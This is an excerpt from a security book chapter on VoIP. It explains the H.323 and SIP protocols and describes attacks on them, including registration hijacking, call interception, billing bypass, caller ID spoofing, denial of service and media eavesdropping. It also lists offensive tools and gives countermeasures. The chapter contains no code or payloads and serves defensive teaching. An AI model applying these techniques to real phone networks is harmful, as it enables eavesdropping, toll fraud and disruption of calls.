Four different call models are defined in the H.323 standard: • Gatekeeper routed call with gatekeeper routed H.245 signaling • Gatekeeper routed call with direct H.245 signaling • Direct routed call with gatekeeper • Direct routed call without gatekeeper Depending on the type of call, an H.323 VoIP session is initiated with an H.225 signal by either a TCP or a UDP connection. The address of the destination endpoint is obtained by negotiating with the gatekeeper through the Registration Admission Status (RAS) protocol. Then the Q.931 protocol (still within the realm of H.225 but based on fixed TCP port 1720) is used to establish the call itself and negotiate the addressing information for the H.245 signal. This setup next procedure is common throughout the H.323 progression where one protocol negotiates the configuration of the next protocol used. In this specific case, it is necessary because H.245 has no standard port assigned. While H.225 simply negotiates the establishment of a connection, H.245 defines the channels that will actually be used for media transfer, once again over TCP. H.245 must establish several properties of the VoIP call, including the audio CoDecs that will be used and the logical channels for the transportation of media (namely RTP and RTCP ports). Overall, four connections must be established because the RTP/RTCP logical channels are only one direction. Each one-way pair must also be on adjacent ports. After H.245 has established all the properties of the VoIP call and the logical channels, the actual call can begin. What was just described is a basic VoIP call setup process using the H.323 signaling standard. The H.323 suite has different protocols associated with more complex forms of communication, including: • H.332 (large conferences) • H.450.1, H.450.2, and H.450.3 (supplementary services) • H.235 (security) • H.246 (interoperability with circuit-switched services) H.323 also offers fast connect to set up a call using only one packet roundtrip. Finally, authentication may also be performed at each point in the process using symmetric keys or some preshared secret. Of course, the use of these extra protocols and/or security measures adds to the complexity of the H.323 call setup process, making interoperation with firewalls and NAT even more difficult.
SIP Architecture SIP is the IETF-specified protocol for initiating two-way communication sessions—it is important to emphasize that this protocol is not specific to VoIP and can be used in any session-driven application. Despite now being the largest RFC in IETF history, it is regarded by many to be simpler than H.323. Consider that SIP is text-based, thereby
193
194
Hacking Exposed Linux: Linux Security Secrets & Solutions
avoiding the ASN.1 parsing issues that exist with the H.323 protocol suite. It is also a pure application-level protocol, decoupled from the protocol layer it is transported across. It can be carried by TCP, UDP, or even Stream Control Transmission Protocol (SCTP). UDP may be used to decrease overhead and increase speed and efficiency, whereas TCP may be preferred if Transport Layer Security (TLS) encryption is incorporated for security reasons. SCTP is a recent protocol specifically developed to transport signaling information. It offers increased resistance to DoS attacks through a more robust four-way handshake method, the ability to multihome, and optional bundling of multiple user messages into a single SCTP packet. It also supports additional security services (TLS over SCTP and SCTP over IPsec). The architecture of a SIP network (see Figure 7-3) is different from the H.323 structure. It includes a proxy and/or a redirect server, a location server, and a registrar. Its endpoints are usually called User Agents (UAs). Unlike H.323 (with the notable exception of directed routed calls without a gatekeeper), SIP uses only one port. Its default value is 5060.
Figure 7-3 SIP architecture
Chapter 7:
Voice over IP
As is the case with the H.323 standard, users are not bound to a specific host using the SIP model, either. They initially report their location to the registrar, which may be integrated into a proxy or redirect server. This information is then stored in the location server, which provides address resolution functionality. Messages from endpoints or other services must be routed through either a proxy or redirect server. The proxy server intercepts these messages, inspects them to obtain the destination username, contacts the location server to resolve this username into a valid address, and finally forwards the message along to the appropriate endpoint or service. Redirect servers perform the same resolution functionality, but they leave the actual transmission to the endpoints. In other words, redirect servers obtain the address of the destination from the location server and return this information to the original sender, which then is in charge of sending its message directly to the resolved address, in a way similar to what happens with H.323 direct routed calls with a gatekeeper. To better explain the data flow during the call setup process, consider a typical scenario where a proxy server is used to mediate between endpoints. The process is similar with a redirect server, but has the extra step of returning the resolved address to the source endpoint. The SIP protocol itself is modeled on the three-way handshake implemented in TCP. During a regular call setup, communication details are negotiated between the endpoints using the Session Description Protocol (SDP), which contains fields for the CoDec used, caller’s name, etc. If a user wishes to place a call, an INVITE request is sent to the proxy server containing SDP information for the session, which is then forwarded to the called party’s client by the caller’s proxy (possibly via the called party’s proxy server). Eventually, assuming the party receiving the call wants to take it, an OK message will be sent back containing the call preferences in SDP format. Then the original caller will respond with an ACK. After the ACK is received, the conversation can begin along the RTP/RTCP ports previously agreed upon until the call session is torn down through a BYE request issued by one of the involved endpoints. Despite all the traffic being transported through one port in text format and without any of the complicated channel/port switching associated with H.323, SIP still presents several challenges for firewalls and NAT. These challenges are discussed in detail at the end of this chapter.
Attacks Against VoIP Equipment The special devices used in VoIP deployments may introduce a number of new security concerns to existing network technology. They can be classified as • Product-specific vulnerabilities, such as design and implementation errors, buffer overflows, missing format strings, and other exploitable software flaws • Configuration-related vulnerabilities, such as weak or default passwords, unencrypted network services, modem lines for remote vendor support, and information disclosure through configuration and log files.
195
196
Hacking Exposed Linux: Linux Security Secrets & Solutions
Remote access to IP phones and VoIP equipment in general is a severe risk, and relying on the security of devices placed on end-users’ premises (such as ATAs, MTAs, and eMTAs) is always a bad idea. As with conventional equipment, VoIP-specific attacks can compromise each requirement of the CIA paradigm, specifically leading to toll fraud, call eavesdropping and tracing, call hijacking, caller ID spoofing, and denial of service.
Preventing VoIP Network Elements Attacks The following general recommendations are aimed at providing appropriate levels of security to VoIP network elements.
Procedural Security Guidelines Deploy appropriate physical controls. This is especially important in a VoIP environment. Unless the voice traffic is encrypted, anyone with physical access to the LAN could potentially tap into telephone conversations. Even when encryption is used, physical access to VoIP servers and gateways may allow an attacker to perform traffic analysis to some extent, depending on configuration. Organizations should, therefore, ensure that adequate physical security is in place to restrict access to VoIP network components. Furthermore, additional security measures such as authentication, address filtering, and alarms for notifying the administrator when devices are disconnected can mitigate the risks involved in physical security.
Network Security Guidelines Use products implementing WPA encryption instead of WEP. Implement this if mobile units are to be integrated with the VoIP system. The security features of 802.11 WEP provide little or no protection, whereas the more recent WiFi Protected Access (WPA) encryption standard offers significant improvements in security and can aid in integrating wireless technology with VoIP.
System Security Guidelines Change default access credentials in VoIP equipment. Quite commonly switches have a default username/password pair set. Similarly, IP phones often have default keypad sequences that can be used to unlock and modify configuration information. Changing the default access credentials is crucial. Failing to do so is one of the most common mistakes made by inexperienced administrators. If practical, avoid using account lockout mechanisms to prevent temporary denial of service. Disable unneeded services and features in VoIP equipment. This will reduce the avenues of attack. Specifically, disable the hubs on IP phones, along with unused data jacks, switch ports, wireless interfaces, and so on. These interfaces should remain disabled
Chapter 7:
Voice over IP
unless they become necessary for functionality. In general, the well-known KISS (Keep It Simple, Stupid) security principle is also applicable to VoIP. Additional complexity in VoIP may come in the form of intelligent terminals capable of running applications like calendars, agendas, live results from stock exchanges, and so on. This increase in features, however, comes with a security cost. More applications mean more avenues of attack, and programs executed on VoIP devices may be affected by vulnerabilities. Develop a consistent patch management policy. Monitor announcements of vulnerabilities in network equipment, servers, and management workstations. Checking regularly for software updates and patches is essential to mitigate vulnerabilities caused by exploitable software flaws. Additionally, automated patch handling can assist administrators in reducing the window of opportunity for intruders to exploit known software vulnerabilities. If possible, use static addresses for IP phones. This protects against rogue DHCP server insertion attacks. Furthermore, using a state-based intrusion prevention system can filter out DHCP server packets from IP phones’ ports, allowing this traffic only from the legitimate server. Deploy IP phones that can verify the integrity of firmware. Make sure downloads are from trusted TFTP (FTP, SFTP, HTTP, etc.) servers using digital signatures to prevent rogue server insertion attacks.
SIGNALING ATTACKS The goal of any phone system is to establish and manage communication sessions for transmitting voice data, or sound, in general. Additionally, transmitting other data formats, such as video, text, or images, may also be supported. In any case, a stable and reliable transmission has to be maintained throughout the entire conversation, and the communication session needs to be closed when either party decides to end the call. To achieve that, two classes of protocols are used by VoIP technology in a similar manner to traditional telephony: signaling protocols and media transport protocols. In general, before any voice can be sent, a call must be placed. In a classic PSTN network, a caller dials the digits of the desired phone number, which are then processed by the telephone company’s system to ring the called party. With VoIP, the user dials the number (in the form of an actual number dialed on a telephone keypad or of a URI), and after that a complex series of packet exchanges occur, based on a VoIP signaling protocol, to connect the call. In addition to SIP and H.323, two other standards are in use: Media Gateway Control Protocol (MGCP) and Megaco/H.248. These standards may be used in large deployments for gateway decomposition to ease message handling with media gateways (MGs) and media gateway controllers (MGCs). A number of other signaling protocols also exist. Here is a list of the most popular ones.
197
198
Hacking Exposed Linux: Linux Security Secrets & Solutions
VoIP Signaling Protocol
Description
H.323
Defined by the ITU-T
Session Initiation Protocol (SIP)
Defined by the IETF; newer than H.323
Megaco (or H.248) and MGCP
Both media gateway control protocols
Inter-Asterisk eXchange protocol (IAX2)
Used by the Asterisk open-source PBX
Skinny Client Control Protocol (SCCP)
Proprietary protocol from Cisco
Skype
Proprietary peer-to-peer protocol
H.325
New signaling protocol proposal by ITU-T
Attacks targeting the signaling protocols are partially related to the vulnerabilities on the traditional phone networks that made the headlines in the 1970s under the common definition of phreaking. Several signaling attacks can be performed with minimal resources and have disastrous consequences. Since most currently available security testing tools are SIP-oriented, the following examples are mainly related to SIP signaling. However, the described attack classes can also be applied to other protocols with minor changes. Before outlining the attack vectors specifically related to VoIP signaling, we will briefly introduce the best noncommercial testing tools available today.
Introduction to VoIP Testing Tools In the past decade, the advancement of security testing tools has greatly improved the network engineer’s ability to assess and mitigate security risks across IP data networks. Despite the inherent limitations of testing (as explained by well-known computer scientist Edsger Dijkstra, “Testing can prove the presence of bugs, but not their absence”), security tools such as protocol analyzers and vulnerability assessment utilities are among the primary weapons in a security professional’s arsenal. Whereas programs aimed at testing the security of mature technologies are generally strong, developing comprehensive security tools in the early stages of the lifecycle of an emerging technology remains difficult. Because of that, the continued growth of VoIP has not been matched yet by security assessment technology. Currently, only a few effective testing tools are available to detect and exploit vulnerabilities in a VoIP environment. While performing the research aimed at creating our attack taxonomy, several free software products were evaluated to determine their effectiveness at auditing VoIP networks. Unfortunately, most of the tested tools were found to have more or less serious flaws that limit their usefulness in real-life scenarios, suffering from either interface, robustness, scalability, or functional issues. Auditors should, therefore, employ these tools with caution, realizing most of them are still under heavy development and do not always perform as claimed. They should not rely on them solely to secure a VoIP deployment properly.
Chapter 7:
Voice over IP
That said, the situation is rapidly evolving. Many commercial companies and opensource groups have finally begun facing the new security challenges introduced by VoIP and are already tailoring testing tools specific for VoIP. In the next months huge growth in this area is expected. Table 7-1 contains the organized list of the best noncommercial VoIP signaling testing tools. The vast majority of them are compatible with the Linux platform. Figure 7-4 demonstrates the SIP vulnerability scanner, SiVuS.
Name
Description
Implementation Testing SiVuS
The first publicly available vulnerability scanner for VoIP networks that use the SIP protocol
PROTOS c07-SIP
Test suite aimed at evaluating protocol-level security and robustness of SIP implementations
PROTOS c07-H2250v4
Test suite aimed at evaluating protocol-level security and robustness of H.225 implementations
VoIPy
Collection of protocol handlers for core VoIP protocols, part of the upcoming Tactical VoIP Toolkit by the grugq
SIP Proxy
Open-source VoIP security testing tool, featuring the ability to manipulate SIP traffic and fuzz SIP stack implementations
SFTF
SIP Forum Test Framework, aimed at testing SIP devices for common implementation errors
SIPsak
Swiss army knife for developers and administrators of SIP applications and devices
Smap
Mashup of nmap and SIPsak, able to locate and fingerprint remote SIP devices
enumIAX
An IAX2 login enumerator using REGREQ messages
iWar
Wardialer based on the IAX2 protocol
SCTPscan
SCTP protocol scanner, part of the SIGTRanalyzer Security Suite
SIP Bomber
Another tool for stress-testing SIP protocol implementations
SIPp
Test tool and traffic generator for the SIP protocol
Table 7-1
Signaling Protocols Implementation Testing Tools
199
200
Hacking Exposed Linux: Linux Security Secrets & Solutions
Name
Description
CallGen323
H.323 call generator
NastySIP
Simple program that generates bogus SIP messages and sends them to any user
ASTEROID
A collection of malformed SIP packets
Seagull
An open-source multiprotocol traffic generator
SIPNess
SIP applications for testing and monitoring communication of SIP messages
Hacking Exposed VoIP
A collection of VoIP testing tools (including SIPSCAN) written by the authors of Hacking Exposed VoIP
Skora.net
A collection of testing tools for SIP implementations, including sip-scan, sip-kill, sip-redirectrtp, rtpproxy, and sip-proxykill
SIP Send Fun
Tiny command-line script that exploits SIP phones’ vulnerabilities
Scapy
Extremely powerful interactive packet manipulation program
Nessus
The best network vulnerability scanner
Traffic Analysis and Monitoring SIPcrack
SIP protocol login sniffer and cracker
SIPv6 Analyzer
Packet analysis tool for IPv6 SIP-based VoIP applications
NetDude
Framework for inspection, analysis, and manipulation of tcpdump trace files
PSIPdump
Tool for dumping SIP sessions to disk in PCAP format
WIST
Web interface for SIP tracing, a SIP session debugger
Callflow
Collection of awk and shell scripts that will take a capture file and produce a call-flow sequence diagram
Callplot
Another tool to draw call-flow diagrams common in the telecommunications industry
SIP Scenario
Tool that generates HTML SIP call-flows from Wireshark traces
Some VoIP configurations based on SIP are vulnerable to the registration records associated with the victim’s URI being manipulated. This attack enables a malicious user to receive all the victim’s calls, leading to call hijacking. Since most SIP configurations use a connectionless UDP protocol for registration requests, spoofing becomes trivial.
201
202
Hacking Exposed Linux: Linux Security Secrets & Solutions
The Contact header of a SIP request can be arbitrarily forged or manipulated to perform a malicious registration to a registrar service, which is in charge of assessing the identity of UAs. Additionally, some SIP registrars will happily accept registration requests from “trusted” UAs without asking for authentication credentials. However, even when authentication is enabled, if messages are transmitted in plaintext they can be captured, modified, and retransmitted. Finally, account enumeration, brute-force of user credentials, man in the middle (MITM), and replay attacks may also be feasible, depending on network architecture and services configuration. Beside the obvious call hijacking and call fraud, a successful registration hijacking attack can compromise each requirement of the CIA paradigm, and may also lead to denial of service.
Preventing Registration Hijacking The following general recommendation is aimed at providing appropriate levels of security against registration hijacking attacks.
Network Security Guidelines Encrypt and authenticate signaling traffic. All signaling attacks rely on tampering and forging of signaling messages. Whether for crafting spoofed messages, replaying packets, or simply determining the type of message that a user has issued, the plaintext format greatly helps attackers. Firewalls, gateways, and other such devices are no protection against internal attacks. Another layer of defense is necessary at the protocol level to protect SIP (or H.323) content from tampering, interception, and retransmission. As with data networks, this can be accomplished by deploying strong encryption and authentication mechanisms. Among the possible solutions two particular security technologies are becoming more and more popular in VoIP environments: Transport Layer Security (TLS), for TCP-based traffic only, and IP Security (IPsec).
Call Interception Popularity:
7
Simplicity:
7
Impact:
7
Risk Rating:
7
Using different techniques involving the abuse of the SIP signaling protocol, attackers can intercept calls. For instance, the 3XX SIP response codes class corresponds to redirects and informs the caller that further actions have to be undertaken in order to successfully fulfill the initial request. By forging malicious 3XX response codes (301 Moved
Chapter 7:
Voice over IP
Permanently, 302 Moved Temporarily, and so on) or crafting a REINVITE message, an attacker can reroute the call-flow, thus impersonating a proxy or a UA; trace CDR data such as source and destination numbers; log DTMF codes; and even intercept actual conversations. Consequently, this attack can compromise each requirement of the CIA paradigm, specifically leading to call tracing (and sometimes eavesdropping), call hijacking and possibly denial of service.
Preventing Call Interception The following general recommendation is aimed at providing appropriate levels of security against call interception attacks.
Network Security Guidelines Encrypt and authenticate signaling traffic. As with the registration hijacking attacks described previously, protection from tampering, interception, and retransmission can be accomplished by deploying strong encryption and authentication mechanisms at the signaling protocol level.
Billing Bypass Popularity:
8
Simplicity:
6
Impact:
7
Risk Rating:
7
In both SIP and H.323, the signaling layer does not have real control of media streams. That is, in some cases an attacker may be able to fool the signaling protocols (in charge of recording the CDRs for billing purposes) to make free or cheap calls. Depending on network architecture and configuration, the attacker may be able to bypass filters and QoS limitations to make direct free calls (billing bypass through SIP proxy server bypass) or to make cheap calls mounting timing attacks and abusing the SIP TTL-like Max-Forwards header (billing is being interrupted, but the call is still active). Finally, fast media and slow signaling may also have security implications and determine exploitable race conditions. These attacks may compromise the integrity requirement of the CIA paradigm and lead to toll fraud.
Preventing Billing Bypass The following general recommendation is aimed at providing appropriate levels of security against billing bypass attacks.
203
204
Hacking Exposed Linux: Linux Security Secrets & Solutions
Network Security Guidelines Encrypt and authenticate signaling traffic. As with the other signaling attacks described, protection from tampering, interception, and retransmission can be accomplished by deploying strong encryption and authentication mechanisms at the signaling protocol level. Additionally, to build a VoIP infrastructure resilient to billing bypass attacks, all the security guidelines proposed in the “Network Attacks” section, earlier in the chapter, should be taken into careful consideration.
Spoofing Popularity:
9
Simplicity:
9
Impact:
5
Risk Rating:
8
As already explained, a spoofing attack is a situation where an attacker masquerades as another by falsifying data and thereby gaining an illegitimate advantage. Modifying the SIP From header, a malicious user is able to trivially forge an arbitrary caller ID. This allows some weak authentication mechanisms (such as the ones frequently used by voicemail services) to be bypassed and may help with social engineering attacks, which can have potentially important consequences for an organization’s security. Beside the obvious caller ID spoofing, a successful attack compromises the integrity requirement of the CIA paradigm and in some cases may also lead to toll fraud.
Preventing Spoofing The following general recommendation is aimed at providing appropriate levels of security against spoofing attacks.
Network Security Guidelines Encrypt and authenticate signaling traffic. As with the other signaling attacks described previously, protection from tampering, interception, and retransmission can be accomplished by deploying strong encryption and authentication mechanisms at the signaling protocol level.
Chapter 7:
Voice over IP
Signaling-based Denial of Service Popularity:
9
Simplicity:
10
Impact:
5
Risk Rating:
8
At least in theory, VoIP can reduce bandwidth usage and provide quality superior to conventional PSTN. The use of high-bandwidth media common to data communications, combined with the high quality of digitized voice, makes VoIP a powerful and flexible alternative for speech transmission. In practice, however, the process is more complicated. Routing an organization’s traffic over a single network can cause congestion and sending it over the Internet can produce a significant delay in the delivery of voice data. Furthermore, the compression techniques used to save bandwidth may slow down the encoding and transmission processes. As you have already seen, VoIP systems include a variety of other components in addition to traditional end-user equipment: call processors, call managers, gateways, routers, firewalls, and more. Most of these components have counterparts in data networks, but the performance demands of VoIP require the ordinary network software and hardware to be supplemented with special features. One of the main sources of confusion for those new to VoIP is the natural assumption that because digitized voice travels in packets just like other data, existing network architectures and security measures can be used as is. This is simply not true. The unique nature of VoIP services has a significant impact on security considerations and complicates existing networks. VoIP is a highly demanding technology. It is time-critical and, therefore, a mechanism for assuring that Quality of Service (QoS) meets users’ quality expectations is fundamental. The quality associated with VoIP communications has strict parameters, with latency limits at 150 ms and packet loss limits at 3 percent. These stringent limits illustrate VoIP’s greatest weakness—high sensitivity to disruptive attacks, commonly known as denial of service (DoS) attacks. Specifically, the performance requirements and the synergies of the two conflicting natures of a converging network emerge to add new security threats, such as DoS based on signaling protocols. SIP bombing (transmission of a large quantity of bogus SIP
205
206
Hacking Exposed Linux: Linux Security Secrets & Solutions
messages to a targeted VoIP system) and fork loops are typical examples of floods usually performed through INVITE messages. Other disruptive attacks include • CANCEL/BYE abuse (sending of spoofed CANCEL or BYE messages) • 4XX/5XX/6XX response codes forging (sending spoofed failure messages) • Exploitation of buffer overflows, format strings, and other programming flaws in protocol implementations The impact of these attacks on the overall performance of VoIP conversations may ultimately lead to total compromise of the availability requirement of the CIA paradigm (freezing or crashing of VoIP equipment).
Preventing Signaling-based Denial of Service The key to solving QoS issues like latency and bandwidth congestion is speed; thus every phase of network traversal must be completed quickly in VoIP, and the latency often associated with tasks in data networks cannot be tolerated. Chief among these latency and delay variation (jitter) producers are various security measures, most notably Network Address Translation (NAT) as implemented by firewalls and traffic encryption/ decryption. Inserting traditional firewall and encryption products into a VoIP network is not feasible, particularly when VoIP is integrated into preexisting data networks where QoS is not a standard feature. These and other security architecture components, such as intrusion detection and prevention systems, must be specialized and adapted to support the new, fast world of VoIP. Not only does VoIP require higher performance than most data systems, but also availability is a central issue, and critical services such as Emergency 911 (911 in North America; 112, 999, or other numbers internationally) must also be accommodated. Conventional telephones operate on 48 volts supplied by the telephone line itself. This allows home telephones to continue to work even during a power failure. Office PBXs typically have backup power systems in place for this scenario. These backup systems will continue to be required with VoIP but in many cases will need to be expanded. A careful assessment must be conducted to ensure that sufficient backup power is available for the office VoIP switch, as well as each desktop instrument. To help with this task, many modern switches now support Power over Ethernet (PoE) technology, allowing IP phones to take their needed power directly from the Ethernet lines. With such a configuration, backup power only needs to be provided for the PoE-enabled switch. Thus, in addition to the other signaling attack countermeasures introduced previously, you should take other general availability guidelines into careful consideration.
Chapter 7:
Voice over IP
Procedural Security Guidelines Give special consideration to E-911 emergency service communications. Automatic location service may not be immediately available with VoIP. Organizations must carefully evaluate E-911 issues when planning for VoIP deployment. Evaluate costs for additional power backup systems. These systems may be required to ensure continued operation during power outages. Conduct a careful assessment to ensure that sufficient backup power is available for the office VoIP switch, as well as each desktop instrument.
TRANSPORT ATTACKS Regardless of the signaling standard of choice, once the communication has been established and the called party answers, the voice signal must be converted into a digitized form and then segmented into a stream of packets (since digitized voice requires a large number of bits, a compression algorithm can be used to reduce the volume of data to be sent). The protocol for the transmission of these voice packets is typically the Realtime Transport Protocol (RTP), based on UDP. RTP packets have special header fields that hold data needed to correctly reassemble the packets into a voice signal on the other end. Together with RTP comes another UDP-based protocol called Real-time Transport Control Protocol (RTCP), which provides out-of-band control and quality information for an RTP flow. It partners with RTP in the delivery and packaging of multimedia data, but does not transport any data itself. None of the transport protocols discussed use fixed ports for communication. RTP transmissions are done via an even port, whereas the next higher odd port is reserved for RTCP. Although no standards are assigned, RTP and RTCP are generally configured to use unprivileged ports in the range 16384–32767. Since RTP and RTCP do not provide native encryption capabilities, other protocols have been created that guarantee message confidentiality, authentication, integrity, and replay protection. A list of VoIP transport protocols follows. VoIP Transport Protocol
Description
Real-time Transport Protocol (RTP)
Insecure transport protocol
RTP Control Protocol (RTCP)
Insecure transport control protocol
Secure RTP (SRTP)
Secure transport protocol
Secure RTCP (SRTCP)
Secure transport control protocol
Zimmermann’s RTP (ZRTP)
New secure transport protocol proposal
207
208
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 7-5 Wireshark in action
Media transport-based attacks take advantage of inherent weaknesses in the RTP/ RTCP protocols. They usually rely on unencrypted RTP streams and fall into the following two categories: media eavesdropping and injection and manipulation. Before outlining the attack vectors specifically related to VoIP transport, we will briefly introduce the best noncommercial testing tools available today (see Table 7-2). The majority of them are compatible with the Linux platform. Figure 7-5 shows an example of Wireshark—one of the tools available.
Chapter 7:
Name
Voice over IP
Description
Implementation Testing Ohrwurm
Small and simple RTP fuzzer
Fuzzy Packet
A tool to manipulate messages, can fuzz the RTP protocol
Traffic Analysis and Monitoring VoIPong
Utility that detects all VoIP calls on a pipeline and dumps actual conversations to separate wave files
Vomit
Utility to convert Cisco IP phone conversations into wave files
Oreka
Open-source software system for capturing and retrieving audio streams
Wireshark
Another network analyzer with protocol dissectors for SIP, SDP, H.323, RTP, RTCP, and more
Cain & Abel
Network sniffer able to perform MITM attacks and dump VoIP conversations
Table 7-2
Transport Protocol Testing Tools
Media Eavesdropping Popularity:
9
Simplicity:
10
Impact:
7
Risk Rating:
9
As already explained, eavesdropping is defined as the intercepting of conversations by unintended recipients. This is probably the simplest VoIP attack to carry out with
209
210
Hacking Exposed Linux: Linux Security Secrets & Solutions
numerous readily available software tools able to implement it effectively. Information on the used CoDec can be retrieved from the header of every RTP packet, inside the PT header field. An attacker with the ability to intercept unencrypted VoIP media traffic has, therefore, no problem in saving RTP streams for later analysis and decoding. This passive attack impacts the confidentiality requirement of the CIA paradigm and can have important and unexpected consequences for an organization.
Preventing Media Eavesdropping The following general recommendation is aimed at providing appropriate levels of security against media eavesdropping attacks.
Network Security Guidelines Encrypt media streams. As is the case with signaling-based attacks, transport attacks also rely on the plaintext format of VoIP traffic. Specifically, if an attacker has the ability to intercept valid packets traveling over the network, forging malicious RTP/RTCP packets and inserting them in the media stream becomes trivial. Even if the attacker does not have access to the media stream, creating rogue RTP packets that appear legitimate is not a difficult task, given that the attacker has some information on the peers involved in the target communication. The solution for protecting RTP/RTCP media streams against media eavesdropping attacks is the introduction of encryption mechanisms. The SRTP and SRTCP protocols, which offer confidentiality, message authentication, and replay protection, represent the standard for providing VoIP transport-level security.
Media Injection and Manipulation Popularity:
7
Simplicity:
7
Impact:
8
Risk Rating:
7
This class of transport-level vulnerabilities encompasses a large number of different attacks, targeting both RTP and RTCP protocols. The common characteristic is that an attacker is able to inject rogue packets into a data stream. Depending on the form of RTP/RTCP packets inserted, several outcomes are possible: • SSRC collisions resulting in interruption of arbitrary conversations • SSRC manipulation to inject unsolicited arbitrary content inside the legitimate audio stream via higher timestamp and sequence numbers • CoDec manipulation • RTCP insertion to degrade the conversation’s quality and RTP/RTCP insertion and CoDec manipulation to degrade the conversation’s quality
Chapter 7:
Voice over IP
Finally, it may also be possible to force VoIP equipment to effectively perform a media stream flood against an arbitrary target. This attack can impact on integrity and availability requirements of the CIA paradigm, leading to denial of service and a special kind of call hijacking.
Preventing Media Injection and Manipulation The following general recommendation is aimed at providing appropriate levels of security against media injection and manipulation attacks.
Network Security Guidelines Authenticate media streams. The solution for protecting RTP/RTCP media streams against the attacks described above is the introduction of digital signatures, such as secured hashes. The SRTP and SRTCP protocols, which offer confidentiality, message authentication, and replay protection, represent the standard for providing VoIP transport-level security.
VOIP SECURITY CHALLENGES As you have already seen, security measures such as firewalls, NAT, and encryption present a formidable challenge to VoIP implementations. However, there are solutions to these problems for those willing to pay the price.
Firewalls and NAT The introduction of firewalls to VoIP networks complicates several aspects of VoIP— most notably, dynamic port communications and call setup procedures. Stateless packet filters pose particularly difficult problems for VoIP networks using the H.323 standard because each successive channel in the protocol is routed through a port dynamically determined by its predecessor. Simple firewalls cannot correlate UDP transmissions and replies; therefore, this necessitates punching holes in the firewall’s ACLs to allow H.323 signaling to traverse the security bridge on any of the ephemeral ports it might use. This introduces a serious weakness in the network. Even with a stateful VoIP-aware firewall that can comprehend H.323 messages and dynamically open the correct ports for each channel as the protocol moves through its call setup process, parsing H.323 traffic is not a trivial matter. H.323 is encoded in a binary format based on ASN.1, and thus the complex parsing to discern the contents of encoded packets introduces further latency into an already speed-sensitive system. If the text encoding of SIP makes the call setup and header parsing much simpler than with H.323, some requirements are still placed on the firewall: It must be stateful and monitor SIP traffic to determine which dynamic RTP/RTCP ports are to be opened and made available to which addresses. NAT is also particularly troublesome for VoIP systems using either H.323 or SIP standards. NAT violates the fundamental semantics of the IP address, in that it must be
211
212
Hacking Exposed Linux: Linux Security Secrets & Solutions
a globally reachable point of communications. This design has significant implications for VoIP and complicates network operations because the internal IP address and port specified in the signaling packets are not the actual address/port pair used externally by a remote terminal. The firewall must comprehend this so VoIP applications receive the correct translated address/ports numbers. Subsequently, with NAT, not only does signaling traffic need to be read, but also it must be modified so correct information is sent to each of the endpoints. Furthermore, several issues are also associated with the transmission of the media itself across the NAT, including the well-known incompatibilities with IPsec VPN tunneling. Conceptually, the easiest solution to those incompatibilities is to do away with NAT entirely, but NAT has its benefits. There are many scenarios where it is both the cheapest, easiest, and most efficient solution, so it is not likely to be abandoned—even after implementation of IPv6 and its expanded address space. Moreover, regardless of the protocol used for call setup, firewalls and NAT (as well as inline intrusion detection and prevention systems) present other specific issues with VoIP. Both security technologies make it difficult for incoming calls to be received by terminals, affect QoS introducing latency and jitter, and may wreak havoc with the RTP stream. Application-level gateways, middlebox application proxies, and session border controllers are the typical solutions to the firewall/NAT traversal problems. They can parse and understand H.323 or SIP and allow for dynamic ACL configuration based on application-specific information. There are drawbacks though. Regarding performance, manipulation of VoIP packets introduces latency and may contribute to jitter. Moreover, such security devices can be expensive and would need to be upgraded or replaced each time the VoIP standards change. Finally, additional network components also require protection from attackers. A compromised ALG, proxy, or SBC can have disastrous effects on the security of the whole VoIP infrastructure. For sake of completeness, other possible solutions to the NAT problem include the following mechanisms: Simple Traversal of UDP through NAT (STUN), Traversal Using Relay NAT (TURN), Interactive Connectivity Establishment (ICE), and Universal Plug and Play (UPnP).
Encryption Additional processing, such as compression and encryption, may increase VoIP network delay. If a stream cipher is used for encryption, very little delay is introduced if the key stream can be produced at least as fast as the voice data arrives. Block ciphers may generate more delay, which will vary with the algorithm used, but still introduce relatively little overhead. More significant delays are caused by computing HMAC hash values for authentication. In most applications, authentication and integrity are equally or more important than encryption, but with voice processing for human speakers some form of authentication is already built-in because parties recognize the person on the other end of the conversation. Even if the conversation is with a stranger, concern with source authentication applies primarily to call setup, rather than to the conversation. As a result of these considerations, some designers may limit HMAC use if performance is a problem.
Chapter 7:
Voice over IP
The IPsec suite of protocols and encryption algorithms is the standard method for securing communications against unauthorized viewers over data networks. Accordingly, extending this protection to VoIP is both logical and practical, encrypting signal and voice packets on one end and decrypting them only when needed by their intended recipient. However, the nature of VoIP signaling protocols prevents such a simple scheme being used, as it becomes necessary for firewalls, routers, and some other network devices to read VoIP packets. Also, several factors, including the expansion of packet size, ciphering latency, possible packet loss, and lack of QoS urgency in the cryptographic engine itself, may cause a noticeable performance degradation in VoIP packet delivery. This once again highlights the tradeoff between security and voice quality and a need for speed. Fortunately, these difficulties are not insurmountable. Testing has shown that VoIPsec can be incorporated into a SIP network with roughly a three-second additional delay in call setup times, which is acceptable for many applications. Finally, both H.323 and SIP provide additional security features and protocols, defined respectively in H.235v2/H.235v3 standards and in RFC 3261. In addition, specific protocols for media stream encryption and key management, enabling secure communication between H.323 and SIP-based clients, have been recently introduced. Secure Real-time Transport Protocol (SRTP) and Secure Real-time Transport Control Protocol (SRTCP) define a profile of RTP/RTCP intended to provide a framework for encryption, message authentication, and replay protection, achieving high throughput and low packet expansion.
SUMMARY VoIP is the transmission of voice conversations over the Internet or through any other IP data network. It is a very large, complex, rapidly evolving field and represents one of the most important emerging trends in modern telecommunications. As with many new technologies, VoIP introduces both opportunities and security risks. Lower cost and greater flexibility are among its advantages, but differences between VoIP and traditional telephony may result in significant security issues that must be carefully considered and addressed. It is often mistakenly assumed that securing VoIP components requires simply plugging into an already secured IP network because digitized voice travels in IP packets. Unfortunately, it is not that easy. VoIP technology requires a different approach to security, which takes into account the unique nature of telecommunication networks. The specific characteristics of VoIP combined with the mission-critical importance of many voice applications impose strict requirements and introduce new challenges for VoIP implementations. To effectively secure a VoIP infrastructure, therefore, organizations need to be proactive at three levels: procedural, network, and system. By carefully assessing security risks and planning deployments accordingly, you can preserve the attributes of quality, reliability, and security that you have come to expect from traditional phone networks.
